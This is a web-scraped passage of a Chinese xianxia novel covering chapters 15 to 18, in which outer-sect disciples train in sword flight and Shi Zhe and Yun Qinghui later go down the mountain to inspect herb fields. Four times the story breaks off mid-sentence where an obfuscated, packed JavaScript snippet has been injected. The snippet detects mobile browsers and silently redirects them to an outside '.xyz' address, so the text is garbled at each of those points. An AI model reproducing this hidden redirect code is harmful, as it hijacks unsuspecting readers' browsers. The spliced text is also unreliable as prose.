他手腕一抖，剑势陡然变得轻灵，不再硬接，而是运用巧劲，四两拨千斤，剑尖如同毒蛇般贴着石蛰的剑身一绕一挑—— “锵啷！” 石蛰只觉得手上一轻，铁剑竟已被对方轻巧地挑飞出去，旋转着插在不远处的泥地上。 石蛰一愣，非但没有受挫，反而睁大了眼睛惊呼道：“好厉害！” 云清徽可不是容易讨好的人，他唇角弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396586|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一个虚伪的弧度，问道：“还要打么？” “当然！” 石蛰跑过去捡起剑，再次攻了过来。 接下来的对战，石蛰越战越勇，仿佛不知疲倦为何物，一招一式都带着呼呼的风声，力气越来越重，当真跟一头蛮牛似的。 云清徽只凭技巧闪避格挡，竟一时不敢再正面硬接，心中暗自吐槽：这小子到底是吃什么长大的，一身蛮力。 石蛰几次出招都被化解，心里也有些急了，就在这时，一旁传来一阵喧哗与惊呼。 “成功了！王鹏师兄成功了！” “太厉害了！” 石蛰循声望去，只见不远处的空地上，以王鹏为首的那几个外门弟子正围成一圈，个个脸上洋溢着夸张的惊叹与奉承。原来是王鹏成功做到了以气御剑，他手中的铁剑微微震颤着，悬浮在离他掌心约半尺的空中，虽然摇摇晃晃，极不稳定，但确确实实是凭借灵力做到了短暂御剑！ 王鹏享受着众人的吹捧，目光恰好与望过来的石蛰对上，立刻露出一个洋洋得意的表情。 自己的失败固然懊恼，对手的成功更加让人愤懑！ 石蛰内心郁闷，忍不住憋着一股气，将这股无名火尽数化作力量，灌注在剑上，冲着云清徽攻了过去。 云清徽轻松格挡开他这含愤的猛击，看着他明显带着情绪的闷头猛冲，内心吐槽：真是小孩子气性。 他本意是想试探石蛰的底细，可对方连最基本的灵气灌注都还不会，打来打去全是凭身体本能和力气，实在探不出什么深浅。 余光瞥见秦越师兄正朝他们这边望来，云清徽心思微动，在石蛰又一次倾尽全力地劈砍下来，故意不避不让，硬接这一招。 “铛！” 双剑猛烈交击，石蛰那身蛮力确实惊人，巨大的冲击力震得云清徽手腕发麻，虎口生疼，许久未尝到的痛楚传来，云清徽不由微微蹙眉。 “哐当”一下，铁剑应声飞了出去，划过一道短弧，落在几步开外的地上。 “云磬，你没事吧？” 石蛰见状吓了一跳，连忙收起剑势，上前捧起云清徽的手。 云清徽掌心通红，被余力震到的手腕还在微微发抖。 “对不起对不起！”石蛰看得自责不已，连连道歉，懊悔地说：“都是我不好，我太莽撞了。” 云清徽毕竟年长，不好跟一个小孩子计较。 看着有如小狗般失落模样的石蛰，淡淡地道：“没事，切磋较量，难免收不住力道，不怪你。” 石蛰抬起眼皮，眼里带着讨好，委屈巴巴地说：“真的不怪我？” 云清徽确实是个不容易讨好的人，此情此景，他竟然只是面无表情地反问： “你希望我怪你？” 石蛰连连摇头。 “那不就成了。” 时间不早了，秦越师兄宣布今日剑术课程到此结束，石蛰也拉着云清徽上药去了。 15.赠送丹药 这日剑法课后，因为王鹏领悟了以气御剑的诀窍，虽然只是初级，但在普遍尚未入门的外门弟子中，已堪称鹤立鸡群。。 他时常炫耀，目光扫过石蛰，带着毫不掩饰的得意，令石蛰十分郁闷。 但很快，他扬眉吐气的机会就来了。 这日，依旧是秦越师兄的课，他教导他们最基础也最令人向往的课程——御剑飞行。 “御剑之术，心念为先，灵力为引，人剑合一，方可行云流水。” “以你们现在功力，莫说瞬息千里，便是升至高空，也无法抵御严寒和罡风之烈，但也可从中窥见对剑术一道的才能。” 师兄讲解着要领，并做了示范，那潇洒的身姿引得众弟子羡慕不已。 然而实际操作起来却是困难重重。大多数弟子连让佩剑稳定悬浮都难以做到，更别说站上去飞行了。一时间，练武场上惊呼声、坠地声、剑器碰撞声不绝于耳。 石蛰也混在人群中，最初几次尝试，他也不得要领，但渐渐的，他心中生出一股难言感受，只觉得愈发得心应手。 他深吸了口气，精神力高度集中，按照师兄所授和鼎内陆通指点过的关窍，努力感知着与剑的联系。 只见那原本颤颤巍巍的铁剑，忽然发出一声低微的嗡鸣，竟稳稳地悬浮离地一尺有余！这一刻，仿佛胸腔中某种一直滞留的郁结之气陡然被打通，一种难以言喻的畅快感与掌控感油然而生！ 石蛰翻身一跃，人至剑身，剑随心往。 “去——” 心念甫动，那铁剑竟似脱缰野马，猛地加速飞出！石蛰猝不及防，险些栽倒，幸好他及时稳住了身形。 “那是石蛰么？” “石蛰御剑成功了！” “飞得好高啊。” 地上众人，纷纷仰头注视着飞行在剑上的石蛰。 云清徽亦仰着头，看着在空中犹如雏鸟般，奋力扑腾着翅膀飞行的石蛰。 初次御剑，石蛰还不得要领，脚下的铁剑时快时慢，不受他意念控制，让他冷汗连连。 转了一圈后，他能感觉到自己对飞剑的掌控力正在急剧下降，摇摇欲坠之感越来越强烈。 在人仰剑翻之前，他拼命集中最后精神力，操控飞剑返回，然而不知道哪里出了错，返回时飞剑格外刚猛，从半空直直冲着地面飞回，根本来不及平稳减速—— “让开，快让开！” 云清徽计算着剑的落点，淡定地往边上退了一步。 “砰”一声闷响，剑身直直地插入了练武场边缘的土地之中，深入数寸，剑柄兀自剧烈颤动不休！ 巨大的惯性将石蛰狠狠甩向前方，他踉跄着向前扑去，幸好一旁的陆知棠眼疾手快，一把抓住了他的胳膊，用力将他拽了回来，才免去他以面跄地的下场。 “没事吧？”陆知棠关切问道。 “没事。” 落地之后，石蛰心里都是第一次御剑飞行成功的惊喜，连方才的危险都不放在心里，他忍不住道： “知棠，我成功了！” “是啊，你成功了！” “恭喜你啊，石蛰！” 众人围了上来，或羡慕或嫉妒地望着他。 一旁师兄难得满意地颔首，道：“第一次尝试，能飞这么高已经很不错了，再接再厉。” “多谢师兄！” “石蛰，快教教我们诀窍吧。” “是啊，到底怎么飞啊......” 石蛰的御剑飞行成功可比王鹏那一点点剑的震动厉害多了，这一门课后，石蛰再一次成为了众人焦点，大家时常围着他问他御剑飞行的窍门，每当这时，王鹏都在边上阴阳怪气。 石蛰扬眉吐气，同时也展露了自己在剑法上的天赋，也就忘了之前的不快。 又过去几天，训练结束后，云清徽正欲独自返回宿舍，刚经过一处屋檐下的阴影，忽然一只手臂从旁伸出，猛地将他拽了过去！ 云清徽心中警铃大作，体内灵力瞬间凝聚于指尖，几乎就要下意识地反击回去！幸好在那电光火石之间，他看清了来人的侧脸——是石蛰。 “你干什么？”云清徽压下心头杀意，语气冷了下来，试图挣脱石蛰的手。 但石蛰的手劲出奇的大，不由分说地拉着他往前走，云清徽挣脱不了，只能无奈跟上。 两人一同来到宿舍后方的的草药园，只见草药地旁，陆知棠和陆铃兰早已到了。 四人齐聚后，石蛰一把将云清徽按坐在草地上，自己则和陆铃兰并排站到了他和陆知棠面前，摆出了一副训话的架势。 “云磬！知棠！” 石蛰率先开口，眉头紧锁，语气是前所未有的严肃，疑似模仿师兄。 “你们到底怎么回事？训练结束了就知道回去躺着！你们知不知道，马上就要进行第二轮考核了！” “你们看看自己，有哪一科是能拿得出手的？剑术？体术？还是炼丹画符？样样平平！就这样还不知道努力！” 陆铃兰在旁连连点头： “就是就是，别人都知道找我和石蛰开小灶，你们呢？你们倒好，离我们两这么近却一点都不着急，还要我们自己找上门来催！” “从今天开始不许再偷懒了，我和石蛰给你们补课，盯着你们训练，听懂了没？” 被按坐在草地上的云清徽：“……” 他一时竟不知该作何表情。 一旁的陆知棠无奈地点头：“听懂了。” “这还差不多。”陆铃兰翻了个白眼，转向云清徽：“你呢，听懂了没？” 云清徽：“......听懂了。” 那之后，石蛰和陆铃兰果然时常找两人补课，亏得云清徽来这里不是带什么密探任务，否则时时被人盯着，都要呕血了。 这日晚饭过后，云清徽摆脱石蛰的盯梢，独自一人走向后山那处熟悉的瀑布。空气中弥漫的水汽浓郁，瀑布轰鸣之声震耳欲聋，云清徽察觉到了一个熟悉气息。 瀑布之下，一个壮实的身影正咬紧牙关，岿然不动地站立在狂暴的水流冲击之下，浑身肌肉紧绷如铁，古铜色的皮肤被水流砸得通红，甚至能看到细微的颤抖，但他依旧死死坚持着，任由千钧之水冲刷着体魄。 正是陆知棠。 云清徽站稳在水潭旁，陆知棠从水汽中抬起头，看到是他，微微颤抖的脸上凝出一个笑。 “你洗澡的时候总是不见人影，我就知道，你肯定偷偷跑去别的地方洗了。” 云清徽神色不动，只是问：“你想走体修这一道？” 陆知棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398237|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似是露出一个苦笑，但因为头顶压力巨大，这笑没法完成，只是嘴角肌肉僵硬地抽搐两下。 “我没有什么天赋，无论剑术，制符炼丹都平平无奇，体修虽然艰苦，但我觉得，若只是吃苦，我还是能熬一熬的。” “能吃苦就已经胜过寻常人无数了。” “听你说这话，我还挺欣慰的，对了，我是不是打扰你洗澡了，需不需要我......” “不用。”云清徽打断他道：“我另寻别处就是，你继续。” 说罢，转身离开。 其实，他也不是非得洗澡，一个净身术足以，只是习惯罢了。 那之后，或者之前便开始了，陆知棠每日在瀑布那里加练，竟真的在体修一途上显露出些许优势，甚至还得到了师兄的当众表扬，称他“根基扎实，肯下苦功”。 与之相对的，云磬的表现却始终毫无波澜。每回训练，无论是剑术、体术还是杂学，他都维持在一种不高不低、毫不起眼的中间水平。 陆知棠干脆提议：“要不，云磬就跟我一样，主攻炼体算了？” 没等石蛰开口，旁边的陆铃兰就倒吸一口冷气，大惊失色地道： “不行不行的！” “知棠你就算了，要是云磬变得跟你一样，我的人生就都毁了！！” 她发出痛不欲生的哀嚎。 陆知棠，云清徽：“......” 陆知棠：不是，这什么意思啊？ 又是两个月期限将至，第二次考核近在眼前，外门的气氛明显变得紧张起来。 这一日训练结束后，石蛰悄悄将云清徽拉到一处无人角落。他伸出手，掌心静静躺着一枚圆润的、散发着淡淡清香的白色丹药。 “给你。” 石蛰拉过云清徽的手，不由分说地将那枚丹药放入他微凉的掌心：“马上就要考核了，这个是之前我表现好，师兄嘉奖我的，有固本培元的功效，你吃了吧。” 云清徽低头看着掌心那枚残留着些许体温的丹药，不由发怔，这枚丹药成色看起来不是很好，想来只是初级药丸。在云清徽的修行岁月中，接触到过无数高阶丹药，无论哪一颗都比这好上百倍。 然而，这确实石蛰能接触到的最好的丹药了，于他们这种外门弟子而言，这已算灵丹。 他胸口生出酸酸涩涩的感觉，一股陌生而细微的暖流自丹田而起，在他胸口徘徊不去，涌动时撞得他心口发麻，令他一时难以维持冷静情绪。 石蛰，天道之子。 他收拢掌心，小声问：“那陆知棠呢？” “铃兰也得到了一枚，她那枚给知棠了。” “原来如此。”云清徽收起丹药，轻轻呼出一口气，看向石蛰。那双平日里冷静漠然的眼睛难得染上几分温度： “石蛰，我会记得今天这颗丹药的。” “啊？”石蛰不明所以：“那个，你不用记得，吃掉就好。” “我知道。” 云清徽微微颔首，唇角似乎极轻微地向上弯了一下，那弧度快得如同错觉。他没有再多说什么，只是深深地看了石蛰一眼，转身离开。 “为了不辜负你的苦心，我练习去了，别来追我。” “啊？哦。” 石蛰怔怔目送他离开。 16.下山历练 几日后的第二场考核，又有三人被淘汰，而留下的人也不觉欣喜，无声的沉默笼罩着他们。 留下不代表成功，每一次考核都像是一把悬在头顶的利剑，提醒着他们仙路艰难，淘汰随时可能降临。 就在这紧张的氛围中，两名内门弟子忽然来到了外门。 张逸师兄陪同过来，向众人介绍道：“这两位是李则师兄和苏婉师姐，两位师兄师姐此次前来，是要挑选两名外门弟子一同外出办事，也算是对你们的一种历练。” 能跟随内门弟子外出办事，无疑是接触更高层次事务、表现自己的绝佳机会！原本沉寂的气氛瞬间被打破，众弟子眼中都燃起了期待的光芒。 王鹏更是迫不及待地给张逸师兄使了个眼色，张逸会意，转向两名内门弟子，语气带着几分推荐之意：“李则师兄，苏婉师姐，这位王鹏师弟近来表现确实优异，修为扎实，办事也稳妥，可为一人选。” 那名叫李则的男弟子扫了眼王鹏，点点头，王鹏见状，脸上立刻露出喜色，又连忙将自己相熟的另一名弟子也拉了过来，他也未置可否，算是默认了。 轮到苏婉师姐，她来之前大致了解了众人学业，陆铃兰虽然表现优异，然则是个“文科生”，干不了苦役，她指着石蛰道： “你。” 石蛰惊喜走出。 她又缓缓扫向余下人等，掠过云清徽时，她视线不由自主地停顿了片刻。理智和本能稍加拉扯后，她还是道： “就这位师弟吧。” 云清徽抬手行礼：“多谢师姐。” 选定人选之后，大家便散了，出发在明日，因为要出门好几日，这四人得回去收拾行李。 陆知棠慢悠悠走上前，看着云清徽那张无可挑剔的侧脸，不由感叹： “长得好看果然是有用的，就是在修真门派也吃得开。” 其余人深以为然地点点头。 第二日，石蛰和云清徽带上行李，到了提前约好的地点，苏婉师姐已经在了，带着二人往内门区域走去。 内外门并无地域隔阂，石蛰他们所在的外门说起来更像是后院，而内门则更为精致。 石蛰是第一次进入内门，只觉得眼睛都快不够用了。只见亭台楼阁依山而建，飞檐斗拱如雁翅般轻盈舒展，更令他心惊的是空气中弥漫的灵气，精纯而浓郁，呼吸间都觉心旷神怡，四肢百骸说不出的舒泰，令他不由得心生向往。 正行走间，走在前方的苏婉师姐忽然停下脚步，侧身让至路旁，同时恭敬地向着前方缓步而来的两位老者躬身行礼： “弟子苏婉，见过刘师叔，徐师叔。” 石蛰和云清徽也连忙跟着停下，垂首行礼。 石蛰偷偷抬眼望去，只见这两位被称作“师叔”的长者，身着与内门弟子截然不同的服饰。其中一位面容清癯、目光温润的长者，身着一件深青色云纹绶带道袍，衣襟和袖口处以银线绣着繁复的松鹤延年图案，显得既庄重又飘逸。 至于二人气度，更是说不出的威严沉稳。 这就是真正的仙人了么？ 石蛰心脏扑腾扑腾跳，又害怕被两人发现自己身怀异样，大气都不敢出，幸好两位长者也没有关注他，只温和询问了苏婉几句便让他们离开了。 石蛰犹自担心，将意识沉入鼎内——他如今已能边做其他事边将意识沉入鼎内和陆通对话了愣，只是不能够修行。 “前辈，我在内门行走，不会被人发现异常吧？” “谁理睬你啊？”陆通翻了个白眼，没好气地说： “我之前说有金丹以上修士能察觉你的异常，是在他们看到你表面体现出来的实力基础上，察觉你真正实力有所不同。” “而今你这个级别的修士遍地都是，高一点低一点对他们毫无区别，大象何必在意蝼蚁？” 如此，石蛰才放下心，不过，他道： “前辈，大象还是需要在意蝼蚁的，大象和蚂蚁的故事你没听过么？” 陆通：“......滚！” 三人继续前行，来到一处清幽的院落外时，苏婉道：“你们二人在此稍候片刻，我进去禀报一声。” 说完，她便独自推门进入了院落。 石蛰和云清徽便站在院门外等候，石蛰按捺不住好奇，依旧打量着四周雅致的环境，小声对云清徽道：“云磬，你都不好奇吗？这内门真是太不一样了！” 云清徽神色平淡，只道：“还好。” 石蛰这才想起来，云清徽曾提过自己家境尚可，不像自己这般没见过世面。 这时，一阵隐约的谈话声从不远处的假山后传来。 “……今年的‘灵溪论道’，不知宗门会派谁去？” “哼，无非又是五大门派借机炫耀实力的场所罢了，前些年还有你，这几年门内也没什么值得称道的弟子，还有什么好说的，就让他们五大门派得意去吧！” 那道年轻的声音笑道：“师兄别这么想嘛......” “灵溪论道？” 石蛰心中一动，默默记下了这个陌生的词，好奇这听起来就很厉害的盛会究竟是什么。 这时，院门吱呀一声打开，苏婉师姐走了出来，对两人道：“好了，我们走吧。” 石蛰连忙收回心神，恭敬道：“是。” 三人很快离开，假山后年轻修士正巧转过头，目光恰好掠过院门方向，脸上露出一丝恍惚。 “我好像看到了一个熟悉的人。” 他身旁的同伴问道：“谁？” 年轻修士随即摇了摇头，失笑道：“他不可能在这里，想来是看错了。” 处理完门内事宜后，苏婉便带着石蛰和云清徽正式下山。从青云山山门到最近的小镇，皆是崎岖山路，三人徒步而行，抵达镇上时已是晌午。 苏婉对二人道：“我有些事要办，你们二人去镇东头马厩，凭此令牌领三匹脚力好的马。” 她将一枚小巧的木牌递给石蛰，继续吩咐：“随后去镇上最大的饭店，订一桌午饭，再备足一日的干粮，办完事我自去饭店与你们会合。” 之前她已预支了些银两给两人，石蛰连忙接过令牌，恭敬应道：“是，师姐放心。” 两人先去了马厩，因已有吩咐在先，手续办理得极为顺利，三匹精神抖擞的骏马很快备好。随后他们便牵着马，去了镇上那家唯一的、也是最大的饭店。 算起来石蛰上山已有四个多月，再次感受到山下小镇的烟火气息，石蛰颇有些怀念，忍不住对云清徽道：“我上回参加试徒大会到这镇上时，身上的钱全都用光了，幸好认识了知棠和铃兰，他们垫钱请我吃饭，否则我肚子空空，哪里还有精力进行比试。” “原来如此。” 云清徽自幼在仙门长大，所见多是恢弘殿宇或其他修仙门派，甚少踏足这等凡俗小镇，看着街上熙攘人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402722|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和各式摊贩，眼中也带着几分不易察觉的新奇，默默打量着四周。 进了饭店，石蛰熟练地报了两个家常菜名，又自然地问云清徽：“云磬，你想吃什么？” “啊，我么？” 云清徽闻言，眼中流露出茫然神色，似乎从未思考过“想吃什么”这个问题。 石蛰：“……” 他无奈道：“那我随便点了。” 他最终点了两个荤菜，两个素菜，外加一条鱼，手上的银子还有得多，但想到三人可能吃不完，便停下了。 离饭菜出来还有点时间，石蛰看着饭店外面有人在卖烧饼，便道：“我下去买几个烧饼做干粮，你在这里等我。” 云清徽点点头。 石蛰很快买好了烧饼回来，上了楼，却看到云磬身边正围着两个穿着绸缎长衫的男子，一人脸上带着不怀好意的笑容，眼神色眯眯地黏在云清徽脸上。 眼看他就要伸出手碰到云磬的脸，石蛰一个箭步上前，一把扣住男人的手，厉声呵斥道：“你要做什么？！” 那男人猝不及防，疼得连连惨叫：“哎哟！疼疼疼！放手！快放手！” 就连云清徽也被石蛰这突如其来的动作吓了一跳，在这四个月的相处中，他所认识的石蛰是个善良、憨厚，好脾气的人，即便是面对王鹏，也多是对方主动挑衅才会反击。如此具有攻击性和压迫感的一面，他还是头一回见到。 他不禁疑惑：石蛰这是怎么了？ 云清徽秉持着自己的人设，出声劝阻道：“石蛰，松手，他们只是好心问我是否一个人，需不需要帮助。” 石蛰眉头都拧了起来，这算什么“好心”？ 他一把将男人推开，挡在云清徽身前，冷着脸沉声道：“我们是青云山弟子，奉命下山办事。若有得罪，还请海涵。” 那两人原本还想发作，一听“青云山”的名头，脸色顿时一变，嚣张气焰消失无踪，连忙挤出谄媚的笑容，连声道：“不敢不敢！原来是仙师大人！误会！都是误会！我们这就走，这就走！” 说着便灰溜溜地快步离开了。 等那两人走远，云清徽才微微蹙眉，难得用上了几分认真的语气教训道：“石蛰，你方才太过莽撞了。出门在外，轻易与人冲突，很容易惹上不必要的麻烦，幸好这两人并非修士。” 石蛰有苦难言，憋着一口气道：“我还不是为了你，你知不知道自己长什么样……” 他话说到一半，又不知该如何继续。 云清徽更加不解，微微偏头反问：“我长什么样和这事有关系么？” 他是真心的疑惑。 他当然知道自己容貌出众，但身为小玉仙宗的少宗主，他自幼接受的是实力为尊的教育。容貌于他而言，既不能给他带来便利——少宗主的身份已是最大便利。 也从未带来过麻烦——少宗主的身份足以除去世间大多麻烦。 他又如何知道，单凭这张脸，在缺乏身份庇护的世俗环境中，会引来怎样贪婪与污秽的觊觎。 石蛰看着他清澈而不掺一丝杂质的眼眸，到了嘴边的解释又咽了回去，实在不忍将那些污秽的事告诉他，半晌，他只能叹了口气，语气难得强硬： “总之，你记住，以后不要随便理会陌生人的搭讪，更不要离开我太远，知道了么？” 云清徽看着他异常严肃的脸，若有所思地点了点头：“……嗯，知道了。” 17.教导写字 不多时，苏婉师姐也到了，三人吃了饭，再次启程。 经过半日相处，石蛰和苏婉稍有熟悉，他问道：“师姐，我能问你两个问题么？” “你问吧。” “一个就是我们这次到底是去做什么？” 这个问题确实该答，苏婉师姐语气平稳地解释道：“你们在门内修行，应当都接触过药田里种植的各类灵植药草。然而仅凭山门内那些药田的产出，远不足以供应整个青云山的日常用度与炼丹所需。” “因此，宗门在山下甘草镇郊外，另有一处规模巨大的灵植种植基地，由宗门派遣专人并雇佣当地农户负责日常照料。为确保灵植长势良好、不出纰漏，门中规定，每年都需派遣弟子前往巡视查验。我们此次下山，就是为了这事。” “原来如此。”石蛰恍然大悟。 “还有一事呢？” “还有就是......”石蛰小声问：“师姐应该已经辟谷了吧，为什么还要吃饭啊？” 中午时候，苏婉吃得可不比他们少。 听到这么一个愣头青的问题，苏婉不觉笑了出声。 她嗓音清爽地说：“我确实已经辟谷，但我辟谷时间不是很久，其实修炼之人辟谷是为了应对不方便的时候。譬如闭关之时，一闭就是数月甚至数年光阴，总不能中途跑出来吃饭吧？” “许多修为高深的师长，就是因为闭关时间长了，才逐渐彻底舍去了口腹之欲，于我这般普通弟子，从小到大习惯了每日用餐，门内也提供饭食，一两回不吃还好，长时间不吃总觉得少了点什么，浑身不自在。” “与其说是需要吃，不如说是想吃，得到某个契机才能停止进食。” 石蛰恍然大悟：“原来如此，多谢师姐解惑。” 苏婉对这个小师弟印象不错，笑着问：“还有问题么？” “没有了，没有了。” “那好，那我们加快脚程。” “是，师姐！” 他们当晚在野外寻了处避风的地方露宿，石蛰和云清徽轮流守夜，一夜无话。第二天天刚蒙蒙亮，三人便收拾妥当，继续骑马赶路。 在上午日头渐高之时，他们终于抵达了甘草镇。 镇子规模不大，颇为安宁祥和，店铺林立，贩夫走卒穿行其间，许多店铺经营药草相关，显然是形成了独特的生意链。 三人来到了位于镇郊的一处山庄，早有仆役通报，一位身着细布长衫、面容精干的中年管家快步迎出，对着苏婉恭敬行礼：“恭迎仙师，仙师远道而来，辛苦了！” 三人在庄内稍事休息，喝了茶后就赶去了田里。 药田就在庄子边上，阡陌纵横，浓郁的草木清香和灵气混合在一起，扑面而来，令人精神一振。 苏婉忽然从袖中取出一面巴掌大小、边缘雕刻着云纹的古朴铜镜。施法之后，那铜镜镜面如同水波般荡漾开来，镜中出现了一间雅致的房间，紧接着，一道女声伴随着一张秀丽面孔出现在镜中。 苏婉恭敬道：“师姐，我已经到甘草镇的庄子上了，我们现在就开始视察么？” 镜中女子微微颔首：“开始吧。” “好。”苏婉应声，转向盯着镜子发呆的石蛰道： “石蛰，云磬，你们二人将‘幻心草’的叶片拨开，露出其根茎与土壤连接处的部位。” 石蛰一时没反应过来，呆呆地“啊”了一声。 苏婉眉头微蹙，补充道：“就是你眼前那片开着淡紫色小花的草药。” 石蛰这才回过神，连忙应声，快步跑到指定的药田边，小心翼翼地蹲下身，依言轻轻拨开“幻心草”的叶片，露出了下面掩藏的根茎部。 苏婉将手中的铜镜对准被石蛰方向，道： “幻心草根茎略显浮肿，颜色偏于苍白，叶片虽然茂盛，但茎秆纤细，是地底腐菌滋生，过度汲取灵植养分所致。” 师姐亦同意她的看法：“看来需要施展‘灼光术’辅以‘草木灰’灌入土壤......” 两人开始讨论起了对草药的各种细致处理方案，石蛰听得一愣一愣的，深觉修真一途，果真道法奥妙。 他们每细致查验完一块药田，便会小心翼翼地采摘几株灵植样本，将其妥善放入苏婉师姐准备的木盒之中，能在七日内保持草药的活性与灵气不散。 药田范围极广，三人一块地一块地巡查下去，时常需要弯腰甚至蹲伏，仔细查验灵植根茎叶的细微之处，辨认病虫害迹象，饶他们是修行之人，一日下来也是腰酸背痛。 晚间时分，两人在庄子吃了晚饭，由一名仆从领着去了管家给他们安排的住处，庄子房间虽然多，但由于他们只是外门弟子，两人同住一屋。 到了房间后，他们先是痛快地洗了澡，石蛰知道云磬注重隐私，在他沐浴时走出门外活动腰身。 等云磬换好衣裳重新开门，他才进去。将换洗衣裳交给仆从，石蛰目光转回屋内，云清徽正坐在桌边看书。 他换上了一身干净的素白中衣，料子柔软，更衬得他肤色如玉。方才沐浴后的湿发并未完全擦干，只用了微薄灵气稍稍驱散了些水汽，半干的乌发随意地垂落在清瘦的肩头和光洁的颈上。一两颗豆大的水珠，沿着乌黑透亮的发尾落在他的颈侧，直至许久后才悄然蒸发。 他手持着一卷略显古旧的书册，微微侧着头，神情专注地垂眸阅读。长而密的睫毛在眼下投出一小片安静的阴影，随着书页的内容偶尔轻轻颤动。 屋内只点了一盏油灯，昏黄而柔和的光线如同轻纱般笼罩着他，光色迷蒙氤氲，反而将那浓黑如墨的长睫和唇瓣上那一点天然的、极淡的朱色，映衬得异常清晰，在迷蒙中显出稠艳感。 石蛰的心跳漏了一拍，他脸上微微发烫，疑似是刚沐浴的缘故。他走上前在云清徽身旁坐下，凑近了些，轻声问道： “你在看什么书？” 云清徽并未抬头，目光仍流连在字里行间，只是将书册的封面微微向石蛰的方向倾斜了一下，露出上面墨迹古朴的《西南异闻录》五个字： “一本游记，记述西南边陲的风土异事。” “好看么？” “编者语言生动用词活泼，读之仿若置身其境，挺有趣的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417096|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”说完，又翻了一页。 火苗在灯盏中倏忽往上窜动，发出“噼啪”轻响，石蛰怔怔地看着他翻书的动作，修长手指优雅地拈起书页一角，指尖微一用力，散发着淡淡墨香的纸张便顺从地从他指尖滑过，整个动作流畅美观。 石蛰再一次清晰地认识到：他和云磬，果真是不一样的。 云磬必定出身于一个极好的家庭，自幼便受着良好的教养，诗书礼乐是刻入骨子里的从容。对于像石蛰这样的普通人来说，修仙或许还能指望天赋和努力去搏一搏，但读书认字，却是实实在在只有富裕人家才能享有的奢侈。他从前最大的梦想，也不过是踏上仙途后，凭借漫长的岁月慢慢去学习认字。 而且，对方身上还传来特别好闻的香味。 他看着眼前灯下如玉似琢、散发着墨香书卷气的同伴，不觉看得有些痴了。 云清徽似乎察觉到他的目光，忽然转过头来，清冷的眸子里带着一丝询问： “怎么了？” 石蛰猛地回神，脸上顿时露出几分难为情的窘迫，嗫嚅着说：“我不认识字。” 云清徽闻言，眼中掠过一丝真正的惊讶：“你不认识字？” 石蛰点点头，语气有些涩然：“只跟武馆的师傅学过几个简单的。” 武馆的师傅，本就不认识多少字。 云清徽沉默了一下，问道：“那你会写自己的名字么？” “这个还是会写的！” “那我的呢？” 石蛰老实地摇了摇头。 云清徽眼中闪过一丝极淡的笑意，不知为何，忽然来了兴致。他合上手中的书卷，放到一边，道：“我教你认字吧，写我的名字......” 想了想，又改口道：“还是先教你写‘陆知棠’和‘陆铃兰’的名字吧。” 石蛰疑惑：“为什么？” 云清徽敷衍道：“我的名字笔画太复杂，太难了，先从简单的开始。” 石蛰不疑有他，当即点头。 屋内备有给客人使用的笔墨纸砚。云清徽便真的挽起袖子，露出白皙的手腕，开始动手磨墨。 “会磨墨么？” “呃，不会。” “无事，我来教你。” “磨墨需心静，手腕放松，力道需匀而稳，不可急躁，用力过猛则墨汁粗糙起沫，过于轻缓则难以出墨。” 他一边说，一边示范。拇指、食指和中指捏住墨锭顶端，手臂带动手腕，在砚台上顺时针缓缓画圈，动作流畅而优雅。 “你来试试。” “哦。” 石蛰拿起墨锭，手臂僵硬地开始打圈。 “可以再快一点。” “手臂放松一点，不要怕。” 墨香在空气中缓缓蔓延开来，带着一种独特的、令人宁神的草木清气，悄然浸润着这方小小的空间。 昏黄的光晕温柔地笼罩着桌案，将两人低头的身影静静地投映在一侧的墙壁上，随着握笔，研磨的细微动作轻轻摇曳。 灯盏中的火苗逐渐微弱，灯芯一寸寸缩短，直至油尽灯枯。 18.遭遇魔修 此后三日，他们每日早出晚归，尽心尽力地将药田巡查完毕，并协助处理了几处零散问题。 第三日晚间，他们珊珊回到庄子，苏婉对二人道：“这几日辛苦你们了。明日我们便启程回山。” 石蛰犹豫了一下，还是鼓起勇气对苏婉道：“苏婉师姐，我能借您那面镜子看一看吗？就一会儿！晚饭时就还给您！” 